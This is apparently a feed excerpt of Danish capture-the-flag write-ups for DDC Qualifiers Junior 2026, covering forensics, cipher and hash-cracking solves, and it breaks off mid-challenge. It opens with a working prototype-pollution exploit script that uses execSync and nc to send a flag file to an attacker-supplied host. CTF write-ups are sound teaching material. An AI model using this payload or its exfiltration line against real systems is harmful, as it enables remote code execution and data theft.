<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">sys</span><span class="o">,</span> <span class="nn">json</span><span class="o">,</span> <span class="nn">ssl</span><span class="o">,</span> <span class="nn">urllib.request</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">exploit</span><span class="p">(</span><span class="n">target</span><span class="p">,</span> <span class="n">host</span><span class="p">,</span> <span class="n">port</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">cmd</span> <span class="o">=</span> <span class="sa">f</span><span class="s2">&#34;cat /app/flag.txt|nc </span><span class="si">{</span><span class="n">host</span><span class="si">}</span><span class="s2"> </span><span class="si">{</span><span class="n">port</span><span class="si">}</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">payload</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;constructor&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="s2">&#34;prototype&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="s2">&#34;shell&#34;</span><span class="p">:</span> <span class="s2">&#34;/proc/self/exe&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                <span class="s2">&#34;env&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;_PAYLOAD&#34;</span><span class="p">:</span> <span class="sa">f</span><span class="s2">&#34;require(&#39;child_process&#39;).execSync(&#39;</span><span class="si">{</span><span class="n">cmd</span><span class="si">}</span><span class="s2">&#39;)//&#34;</span> <span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;NODE_OPTIONS&#34;</span><span class="p">:</span> <span class="s2">&#34;--require /proc/self/environ&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;PATH&#34;</span><span class="p">:</span> <span class="s2">&#34;/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;env&#34;</span><span class="p">:</span> <span class="kc">None</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;shell&#34;</span><span class="p">:</span> <span class="kc">None</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                <span class="p">}</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="n">ctx</span> <span class="o">=</span> <span class="n">ssl</span><span class="o">.</span><span class="n">create_default_context</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="n">ctx</span><span class="o">.</span><span class="n">check_hostname</span> <span class="o">=</span> <span class="kc">False</span>
</span></span><span class="line"><span class="cl">    <span class="n">ctx</span><span class="o">.</span><span class="n">verify_mode</span> <span class="o">=</span> <span class="n">ssl</span><span class="o">.</span><span class="n">CERT_NONE</span>
</span></span><span class="line"><span class="cl">    <span class="n">req</span> <span class="o">=</span> <span class="n">urllib</span><span class="o">.</span><span class="n">request</span><span class="o">.</span><span class="n">Request</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">        <span class="n">target</span><span class="o">.</span><span class="n">rstrip</span><span class="p">(</span><span class="s2">&#34;/&#34;</span><span class="p">)</span> <span class="o">+</span> <span class="s2">&#34;/archive&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="n">data</span><span class="o">=</span><span class="n">json</span><span class="o">.</span><span class="n">dumps</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span><span class="o">.</span><span class="n">encode</span><span class="p">(),</span>
</span></span><span class="line"><span class="cl">        <span class="n">headers</span><span class="o">=</span><span class="p">{</span><span class="s2">&#34;Content-Type&#34;</span><span class="p">:</span> <span class="s2">&#34;application/json&#34;</span><span class="p">},</span>
</span></span><span class="line"><span class="cl">        <span class="n">method</span><span class="o">=</span><span class="s2">&#34;POST&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">with</span> <span class="n">urllib</span><span class="o">.</span><span class="n">request</span><span class="o">.</span><span class="n">urlopen</span><span class="p">(</span><span class="n">req</span><span class="p">,</span> <span class="n">context</span><span class="o">=</span><span class="n">ctx</span><span class="p">,</span> <span class="n">timeout</span><span class="o">=</span><span class="mi">15</span><span class="p">)</span> <span class="k">as</span> <span class="n">r</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="n">json</span><span class="o">.</span><span class="n">loads</span><span class="p">(</span><span class="n">r</span><span class="o">.</span><span class="n">read</span><span class="p">()))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">exploit</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">],</span> <span class="nb">int</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">3</span><span class="p">]))</span>
</span></span></code></pre></div><p>Flag: <code>DDC{pr0t0type_p0llution_1s_ins4ne}</code></p>
<hr>
]]></content></item><item><title>DDC - Qualifiers Junior 2026 : Writeups</title><link>https://ha1fdan.xyz/en/posts/ddc_qualifiers_junior_2026/</link><pubDate>Fri, 20 Feb 2026 00:00:00 +0000</pubDate><guid>https://ha1fdan.xyz/en/posts/ddc_qualifiers_junior_2026/</guid><description>&lt;h2 id="scoreboard"&gt;Scoreboard:&lt;/h2&gt;
&lt;p&gt;&lt;img src="https://ha1fdan.xyz/ddc_qual_2026/scoreboard.png" alt="Scoreboard"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;a href="https://ha1fdan.xyz/ddc_qual_2026/my-solves.png"&gt;Link til mine løste opgaver inklusiv tidspunkt&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="opgaver-løst-i-den-rækkefølge-jeg-løste-dem"&gt;Opgaver løst (I den rækkefølge jeg løste dem):&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Challenge&lt;/th&gt;
&lt;th&gt;Category&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#-broken-invoice"&gt;⭐️ Broken Invoice&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Forensics&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#-pepstein"&gt;⭐️ Pepstein&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Forensics&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#-alog"&gt;⭐️ alog&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Forensics&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#binary-caesar"&gt;Binary Caesar&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Cryptography&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#fibonacci-caesar"&gt;Fibonacci Caesar&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Cryptography&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#-hasher-trust-the-hash-they-said"&gt;⭐️ Hasher: Trust the Hash (They Said)&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Misc&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#wifi-heist"&gt;WiFi Heist&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Reverse Engineering&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#call-me-maybe"&gt;Call Me Maybe&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Reverse Engineering&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#-g-server"&gt;⭐️ G-Server&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Web exploitation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#-existential-loading-bar"&gt;⭐️ Existential loading bar&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Web exploitation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#unbake-the-cake"&gt;Unbake the cake&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Reverse Engineering&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#pleasenocry"&gt;PleaseNoCry&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Web exploitation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#disk-encryption"&gt;Disk Encryption&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Cryptography&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#fear-of-long-words"&gt;fear of long words&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Binary&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#kopi-pasta"&gt;kopi pasta&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Boot to root&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#bootstrap-betrayal"&gt;Bootstrap Betrayal&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Web exploitation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#persistance-is-key"&gt;Persistance is Key&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Forensics&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#jeg-har-mistet-min-pakke"&gt;Jeg har mistet min pakke&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Misc&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#the-contract"&gt;The Contract&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Cryptography&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2 id="-broken-invoice"&gt;⭐️ Broken Invoice&lt;/h2&gt;
&lt;p&gt;Jeg har lige modtaget en faktura fra et firma, men den virker til at være beskadiget.&lt;br&gt;
Kan du hjælpe mig med at finde ud af, hvad der er galt med den?&lt;/p&gt;</description><content type="html"><![CDATA[<h2 id="scoreboard">Scoreboard:</h2>
<p><img src="/ddc_qual_2026/scoreboard.png" alt="Scoreboard"></p>
<hr>
<p><a href="/ddc_qual_2026/my-solves.png">Link til mine løste opgaver inklusiv tidspunkt</a></p>
<h2 id="opgaver-løst-i-den-rækkefølge-jeg-løste-dem">Opgaver løst (I den rækkefølge jeg løste dem):</h2>
<table>
	<thead>
			<tr>
					<th>Challenge</th>
					<th>Category</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td><a href="#-broken-invoice">⭐️ Broken Invoice</a></td>
					<td>Forensics</td>
			</tr>
			<tr>
					<td><a href="#-pepstein">⭐️ Pepstein</a></td>
					<td>Forensics</td>
			</tr>
			<tr>
					<td><a href="#-alog">⭐️ alog</a></td>
					<td>Forensics</td>
			</tr>
			<tr>
					<td><a href="#binary-caesar">Binary Caesar</a></td>
					<td>Cryptography</td>
			</tr>
			<tr>
					<td><a href="#fibonacci-caesar">Fibonacci Caesar</a></td>
					<td>Cryptography</td>
			</tr>
			<tr>
					<td><a href="#-hasher-trust-the-hash-they-said">⭐️ Hasher: Trust the Hash (They Said)</a></td>
					<td>Misc</td>
			</tr>
			<tr>
					<td><a href="#wifi-heist">WiFi Heist</a></td>
					<td>Reverse Engineering</td>
			</tr>
			<tr>
					<td><a href="#call-me-maybe">Call Me Maybe</a></td>
					<td>Reverse Engineering</td>
			</tr>
			<tr>
					<td><a href="#-g-server">⭐️ G-Server</a></td>
					<td>Web exploitation</td>
			</tr>
			<tr>
					<td><a href="#-existential-loading-bar">⭐️ Existential loading bar</a></td>
					<td>Web exploitation</td>
			</tr>
			<tr>
					<td><a href="#unbake-the-cake">Unbake the cake</a></td>
					<td>Reverse Engineering</td>
			</tr>
			<tr>
					<td><a href="#pleasenocry">PleaseNoCry</a></td>
					<td>Web exploitation</td>
			</tr>
			<tr>
					<td><a href="#disk-encryption">Disk Encryption</a></td>
					<td>Cryptography</td>
			</tr>
			<tr>
					<td><a href="#fear-of-long-words">fear of long words</a></td>
					<td>Binary</td>
			</tr>
			<tr>
					<td><a href="#kopi-pasta">kopi pasta</a></td>
					<td>Boot to root</td>
			</tr>
			<tr>
					<td><a href="#bootstrap-betrayal">Bootstrap Betrayal</a></td>
					<td>Web exploitation</td>
			</tr>
			<tr>
					<td><a href="#persistance-is-key">Persistance is Key</a></td>
					<td>Forensics</td>
			</tr>
			<tr>
					<td><a href="#jeg-har-mistet-min-pakke">Jeg har mistet min pakke</a></td>
					<td>Misc</td>
			</tr>
			<tr>
					<td><a href="#the-contract">The Contract</a></td>
					<td>Cryptography</td>
			</tr>
	</tbody>
</table>
<hr>
<h2 id="-broken-invoice">⭐️ Broken Invoice</h2>
<p>Jeg har lige modtaget en faktura fra et firma, men den virker til at være beskadiget.<br>
Kan du hjælpe mig med at finde ud af, hvad der er galt med den?</p>
<p>Vedhæftet fil: <a href="/ddc_qual_2026/forensics/invoice.7z">invoice.7z</a></p>
<p><strong>Løsning:</strong> Ved at bruge <code>xxd</code> på filen kunne jeg se at nogle af magic bytes var blevet ændret, og at det var en PDF fil. Efter at have googlet efter PDF magic bytes, kunne jeg åbne filen i en hex editor og rette magic bytes tilbage til det korrekte, hvorefter jeg kunne åbne PDF&rsquo;en og læse flaget.</p>
<p><code>xxd invoice | head</code></p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">00000000: 0000 4446 2d31 2e34 0a25 f6e4 fcdf 0a31  ..DF-1.4.%.....1
</span></span><span class="line"><span class="cl">...
</span></span></code></pre></div><p><code>hexedit invoice</code></p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">00000000   25 50 44 46  2D 31 2E 34  0A 25 F6 E4  FC DF 0A 31  20 30 20 6F  62 6A 0A 3C  3C 0A 2F 54  79 70 65 20  %PDF-1.4.%.....1 0 obj.&lt;&lt;./Type
</span></span></code></pre></div><p><img src="/ddc_qual_2026/forensics/invoice-pdf.fixed.png" alt="invoice PDF"></p>
<p>Flag: <code>DDC{ANOTHER_INVOICE_TO_PRINT}</code></p>
<hr>
<h2 id="-pepstein">⭐️ Pepstein</h2>
<p>Huset <strong>Pepstein</strong> præsenterer stolt:
<em>“Game of Redactions – Geoffrey-udgaven.”</em></p>
<p>I dette univers har den berømt diskrete Lord <strong>Geoffrey Pepstein</strong> fået sine sagsakter “professionelt”<br>
censureret af den Royale regering, som har stemplet dem <strong>KLASSIFICERET</strong> og smækket tykke sorte bjælker hen over de interessante dele.</p>
<p>Ligesom i visse virkelige retssagsdokumenter er dramaet saftigt, men evnerne til at censurere er… knap så imponerende.</p>
<p>Et sted mellem blækket og sandheden siver de statsautoriserede hemmeligheder stadig igennem.</p>
<p>Vedhæftet fil: <a href="/ddc_qual_2026/forensics/handout.pdf">handout.pdf</a></p>
<p><strong>Løsning:</strong> Sjov referance til Jeffrey Epstein, og det var tydeligt at der var noget galt med PDF&rsquo;en. Ved at markere al&rsquo; text i PDF&rsquo;en og paste det i en tekst editor kan man se alle ord, inklusiv de censurerede.</p>
<p><img src="/ddc_qual_2026/forensics/handout.pdf.png" alt="handout PDF"></p>
<p>Flag: <code>DDC{0h-n0-w3-607-f0und-0u7}</code></p>
<hr>
<h2 id="-alog">⭐️ alog</h2>
<p>Vi har en mistanke om, at nogen har lavet nogle mærkelige forespørgsler til vores server.<br>
Kan du finde flaget?</p>
<p>Husk, at flagformatet er <code>DDC{}</code></p>
<p>Vedhæftet fil: <a href="/ddc_qual_2026/forensics/forensics_access.log.zip">forensics_access.log.zip</a></p>
<p><strong>Løsning:</strong> Ved at søge i loggen efter <code>DDC{</code> kunne jeg finde en linje hvor flaget var blevet logget.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">grep <span class="s2">&#34;DDC{&#34;</span> access.log
</span></span><span class="line"><span class="cl">192.168.1.99 - - <span class="o">[</span>28/Nov/2025:14:33:45 +0100<span class="o">]</span> <span class="s2">&#34;GET /search.php?user_cookie=s0me_base64_c0de_DDC{Tim3_Tr4v3l HTTP/1.1&#34;</span> <span class="m">200</span> <span class="m">1405</span> <span class="s2">&#34;-&#34;</span> <span class="s2">&#34;Mozilla/5.0 (Custom-Scanner; Log-Digger; PID:12345)&#34;</span>
</span></span></code></pre></div><p>Så ved at søge efter andre forspørgsler med ipen <code>192.168.1.99</code> kunne jeg se at der var en forspørgsel hvor resten af flaget var blevet logget.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">grep <span class="s2">&#34;192.168.1.99&#34;</span> access.log
</span></span><span class="line"><span class="cl">192.168.1.99 - - <span class="o">[</span>28/Nov/2025:14:33:45 +0100<span class="o">]</span> <span class="s2">&#34;GET /search.php?user_cookie=s0me_base64_c0de_DDC{Tim3_Tr4v3l HTTP/1.1&#34;</span> <span class="m">200</span> <span class="m">1405</span> <span class="s2">&#34;-&#34;</span> <span class="s2">&#34;Mozilla/5.0 (Custom-Scanner; Log-Digger; PID:12345)&#34;</span>
</span></span><span class="line"><span class="cl">192.168.1.99 - - <span class="o">[</span>28/Nov/2025:14:34:00 +0100<span class="o">]</span> <span class="s2">&#34;GET /report.html HTTP/1.1&#34;</span> <span class="m">200</span> <span class="m">1002</span> <span class="s2">&#34;http://internal.legacy-server.local/files/temp/_L0g_An4lys1s}/page.php&#34;</span> <span class="s2">&#34;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)&#34;</span>
</span></span></code></pre></div><p>Flag: <code>DDC{Tim3_Tr4v3l_L0g_An4lys1s}</code></p>
<hr>
<h2 id="binary-caesar">Binary Caesar</h2>
<p>En af de ældste former for kryptering er Cæsar-cifret, hvor hvert bogstav forskydes med en hemmelig nøgle.<br>
Denne gang har nogen modificeret Cæsar-cifret ved at bruge XOR i stedet for addition.</p>
<p>Kan du dekryptere flaget?</p>
<p>Husk at lægge resultatet ind i flagformatet. (ddc{eksempel_flag} -&gt; DDC{eksempel_flag})</p>
<p>Vedhæftet fil: <a href="/ddc_qual_2026/crypto/crypto_binarycaesar.zip">crypto_binarycaesar.zip</a></p>
<p><strong>Løsning:</strong> Simpel XOR cipher.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">alphabet</span> <span class="o">=</span> <span class="s1">&#39;abcdefghijklmnopqrstuvwxyzæøå</span><span class="si">{}</span><span class="s1">_&#39;</span>
</span></span><span class="line"><span class="cl"><span class="n">cipher</span> <span class="o">=</span> <span class="s2">&#34;pporkmhce}taii_}tomi}m{s&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">xor</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">alphabet</span><span class="p">[</span><span class="n">alphabet</span><span class="o">.</span><span class="n">index</span><span class="p">(</span><span class="n">a</span><span class="p">)</span> <span class="o">^</span> <span class="n">alphabet</span><span class="o">.</span><span class="n">index</span><span class="p">(</span><span class="n">b</span><span class="p">)]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">key</span> <span class="ow">in</span> <span class="n">alphabet</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">plain</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="n">cipher</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">plain</span> <span class="o">+=</span> <span class="n">xor</span><span class="p">(</span><span class="n">c</span><span class="p">,</span> <span class="n">key</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">plain</span><span class="o">.</span><span class="n">startswith</span><span class="p">(</span><span class="s2">&#34;ddc{&#34;</span><span class="p">)</span> <span class="ow">and</span> <span class="n">plain</span><span class="o">.</span><span class="n">endswith</span><span class="p">(</span><span class="s2">&#34;}&#34;</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">            <span class="nb">print</span><span class="p">(</span><span class="n">plain</span><span class="p">)</span> <span class="c1">#ddc{galois_meets_caesar}</span>
</span></span><span class="line"><span class="cl">            <span class="k">break</span>
</span></span></code></pre></div><p>Efter at have kørt scriptet kunne jeg se at når nøglen var <code>m</code> så var plaintexten <code>ddc{galois_meets_caesar}</code></p>
<p>Flag: <code>DDC{galois_meets_caesar}</code></p>
<hr>
<h2 id="fibonacci-caesar">Fibonacci Caesar</h2>
<p>En af de ældste former for kryptering er Cæsar-chifferen, hvor hvert bogstav forskydes af en hemmelig nøgle.</p>
<p>Denne gang har nogen ændret Cæsar-chifferen ved hjælp af Fibonacci-sekvensen.</p>
<p>Kan du dekryptere flaget?</p>
<p>Husk at angive resultatet i flagformat. (ddc example flag -&gt; DDC{example_flag})</p>
<p>Vedhæftet fil: <a href="/ddc_qual_2026/crypto/crypto_fibocaesar.zip">crypto_fibocaesar.zip</a></p>
<p><strong>Løsning:</strong> Fibonacci Caesar cipher, hvor forskydningen for hvert bogstav er baseret på Fibonacci-sekvensen.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">cipher</span> <span class="o">=</span> <span class="s2">&#34;yvp uappzp fsrjusxe njbgfe shnzkihpa hxgrbr&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">fib_pair_mod</span><span class="p">(</span><span class="n">n</span><span class="p">,</span> <span class="n">mod</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">a</span><span class="p">,</span> <span class="n">b</span> <span class="o">=</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">bit</span> <span class="ow">in</span> <span class="nb">reversed</span><span class="p">(</span><span class="nb">range</span><span class="p">(</span><span class="n">n</span><span class="o">.</span><span class="n">bit_length</span><span class="p">())):</span>
</span></span><span class="line"><span class="cl">        <span class="n">c</span> <span class="o">=</span> <span class="p">(</span><span class="n">a</span> <span class="o">*</span> <span class="p">((</span><span class="n">b</span> <span class="o">&lt;&lt;</span> <span class="mi">1</span><span class="p">)</span> <span class="o">-</span> <span class="n">a</span><span class="p">))</span> <span class="o">%</span> <span class="n">mod</span>
</span></span><span class="line"><span class="cl">        <span class="n">d</span> <span class="o">=</span> <span class="p">(</span><span class="n">a</span> <span class="o">*</span> <span class="n">a</span> <span class="o">+</span> <span class="n">b</span> <span class="o">*</span> <span class="n">b</span><span class="p">)</span> <span class="o">%</span> <span class="n">mod</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="n">n</span> <span class="o">&gt;&gt;</span> <span class="n">bit</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mi">1</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="n">a</span><span class="p">,</span> <span class="n">b</span> <span class="o">=</span> <span class="n">d</span><span class="p">,</span> <span class="p">(</span><span class="n">c</span> <span class="o">+</span> <span class="n">d</span><span class="p">)</span> <span class="o">%</span> <span class="n">mod</span>
</span></span><span class="line"><span class="cl">        <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="n">a</span><span class="p">,</span> <span class="n">b</span> <span class="o">=</span> <span class="n">c</span><span class="p">,</span> <span class="n">d</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">a</span><span class="p">,</span> <span class="n">b</span>  <span class="c1"># F(n), F(n+1)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">decrypt</span><span class="p">(</span><span class="n">n</span><span class="p">,</span> <span class="n">text</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">a</span><span class="p">,</span> <span class="n">b</span> <span class="o">=</span> <span class="n">fib_pair_mod</span><span class="p">(</span><span class="n">n</span><span class="p">,</span> <span class="mi">26</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">res</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="n">text</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">c</span> <span class="o">==</span> <span class="s1">&#39; &#39;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="n">res</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">c</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="k">continue</span>
</span></span><span class="line"><span class="cl">        <span class="n">k</span> <span class="o">=</span> <span class="n">a</span>
</span></span><span class="line"><span class="cl">        <span class="n">a</span><span class="p">,</span> <span class="n">b</span> <span class="o">=</span> <span class="n">b</span><span class="p">,</span> <span class="p">(</span><span class="n">a</span> <span class="o">+</span> <span class="n">b</span><span class="p">)</span> <span class="o">%</span> <span class="mi">26</span>
</span></span><span class="line"><span class="cl">        <span class="n">res</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="nb">chr</span><span class="p">((</span><span class="nb">ord</span><span class="p">(</span><span class="n">c</span><span class="p">)</span> <span class="o">-</span> <span class="mi">97</span> <span class="o">-</span> <span class="n">k</span><span class="p">)</span> <span class="o">%</span> <span class="mi">26</span> <span class="o">+</span> <span class="mi">97</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="s1">&#39;&#39;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">res</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">n</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">84</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">decrypted</span> <span class="o">=</span> <span class="n">decrypt</span><span class="p">(</span><span class="n">n</span><span class="p">,</span> <span class="n">cipher</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">decrypted</span><span class="o">.</span><span class="n">startswith</span><span class="p">(</span><span class="s2">&#34;ddc&#34;</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">      <span class="nb">print</span><span class="p">(</span><span class="n">decrypted</span><span class="p">)</span> <span class="c1">#DDC_pisano_sequence_solves_fibonacci_caesar -&gt; DDC{pisano_sequence_solves_fibonacci_caesar}</span>
</span></span></code></pre></div><p>Flag: <code>DDC{pisano_sequence_solves_fibonacci_caesar}</code></p>
<hr>
<h2 id="-hasher-trust-the-hash-they-said">⭐️ Hasher: Trust the Hash (They Said)</h2>
<p>Velkommen tilbage.</p>
<p>For n&rsquo;te gang var nogen overbevist om, at:</p>
<blockquote>
<p>“Denne gang er hasheren fuldstændig umulig at knække.”</p>
</blockquote>
<p>Det viste sig… ikke helt at holde.</p>
<p>Et nyt system.<br>
En ny hasher.<br>
Den samme gamle overmod.</p>
<p>Alt, der er tilbage, er denne streng:</p>
<p><code>BB707DD63F792BFA73AD00C993875811</code></p>
<p>Din opgave er at finde ud af, hvad hashen gemmer på.</p>
<p>Når du har svaret, skal du indsætte det i følgende format:</p>
<blockquote>
<p>DDC{dit_svar_her}</p>
</blockquote>
<p>Held og lykke; IT-afdelingen regner (igen) med dig.</p>
<p><strong>Løsning:</strong> Ved at bruge et rainbow table some eksempletvis <a href="https://crackstation.net/">https://crackstation.net/</a> kunne jeg se at hash&rsquo;en var en NTLM hash for <code>letmeinplease</code></p>
<p>Flag: <code>DDC{letmeinplease}</code></p>
<hr>
<h2 id="wifi-heist">WiFi Heist</h2>
<p>IT-fyren på skolen har ændret WiFi-adgangskoden igen.<br>
Ingen kender den nye, og alle brænder deres mobildata af.</p>
<p>Din ven fandt en USB-nøgle, som IT-fyren havde efterladt, med det Python-script han bruger til at scramble adgangskoden; sammen med den scrambled adgangskode.</p>
<p>Reversér scramblingen for at få fat i flaget.</p>
<p>Vedhæftet fil: <a href="/ddc_qual_2026/rev/wifi_heist.zip">wifi_heist.zip</a></p>
<p><strong>Løsning:</strong> Ved at analysere scriptet kunne jeg se at for at dekryptere det scrambled password, skulle jeg gøre det modsatte af hvad scriptet gjorde:</p>
